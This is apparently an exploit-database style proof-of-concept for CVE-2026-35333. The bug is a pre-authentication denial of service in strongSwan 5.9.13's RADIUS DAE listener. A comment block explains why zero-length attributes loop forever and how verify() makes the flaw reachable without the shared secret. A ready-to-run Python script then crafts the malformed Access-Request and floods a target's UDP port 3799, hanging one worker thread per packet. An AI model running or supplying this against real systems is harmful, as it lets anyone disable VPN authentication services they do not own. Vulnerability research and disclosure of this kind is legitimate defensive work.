# Exploit Title: strongSwan 5.9.13 - DoS
# Date: 2026-05-13
# Exploit Author: Lukas Johannes Moeller
# Vendor Homepage: https://www.strongswan.org/
# Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
# Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
# Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball,
# strongswan.conf charon.plugins.eap-radius.dae.enable = yes,
# listener bound on UDP/3799
# CVE: CVE-2026-35333
# References:
# https://github.com/strongswan/strongswan/commit/e067d24293
# https://nvd.nist.gov/vuln/detail/CVE-2026-35333
# https://github.com/JohannesLks/CVE-2026-35333
#
# Description:
# attribute_enumerate() in src/libradius/radius_message.c walks the
# attribute list of a RADIUS message without rejecting an attribute
# whose length byte is 0. For length == 0, this->next never advances
# and the per-attribute length computation `this->next->length -
# sizeof(rattr_t)` underflows to (size_t)-2. The result is an
# infinite loop pegging one charon worker thread at 100% CPU.
#
# The reachability detail that turns this into a pre-auth bug:
# radius_message_t::verify() uses the SAME broken iterator to find
# Message-Authenticator BEFORE the Response-Authenticator MD5 check
# is applied. For RADIUS code 1 (Access-Request) verify() skips the
# MD5 check entirely. So a malformed Access-Request with a single
# zero-length attribute as its first attribute traps the worker
# thread without any knowledge of the DAE shared secret.
#
# N packets exhaust N worker threads -> full DAE denial of service.
#
# Usage:
# python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1
# python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8
#
# Observe on the target:
# ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd
# -> one or more threads in state R at ~100% CPU, never returning.
#
# Disclaimer:
# For authorized testing and defensive research only. Do not use
# against systems you do not own or have explicit permission to test.
import argparse
import os
import socket
import struct
import sys
import time
ACCESS_REQUEST = 1
RAT_USER_NAME = 1
def build_zero_length_attr_packet() -> bytes:
identifier = os.urandom(1)[0]
authenticator = os.urandom(16)
# 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0)
total_len = 22
header = struct.pack("!BBH16s",
ACCESS_REQUEST,
identifier,
total_len,
authenticator)
attribute = struct.pack("!BB", RAT_USER_NAME, 0)
return header + attribute
def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(wait)
sock.sendto(packet, (target, port))
print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp")
try:
data, addr = sock.recvfrom(4096)
print(f"[-] unexpected response {len(data)} bytes from {addr}:"
f" {data[:32].hex()}")
except socket.timeout:
print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
finally:
sock.close()
def main() -> int:
p = argparse.ArgumentParser(
description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS"
)
p.add_argument("--target", required=True,
help="DAE listener IPv4 address (e.g. 10.0.0.1)")
p.add_argument("--port", type=int, default=3799,
help="DAE listener UDP port (default: 3799)")
p.add_argument("--count", type=int, default=1,
help="Number of crafted packets to send (default: 1)")
p.add_argument("--wait", type=float, default=2.0,
help="Per-packet response timeout in seconds (default: 2.0)")
args = p.parse_args()
payload = build_zero_length_attr_packet()
for i in range(args.count):
print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
"zero-length User-Name attribute")
send_packet(payload, args.target, args.port, args.wait)
time.sleep(0.2)
print("\n[+] done; expected effect: one charon worker thread per packet "
"stuck at 100% CPU.")
print(" Verify on the target with: ps -L -p $(pidof charon) "
"-o tid,pcpu,stat,wchan:25,cmd")
return 0
if __name__ == "__main__":
sys.exit(main())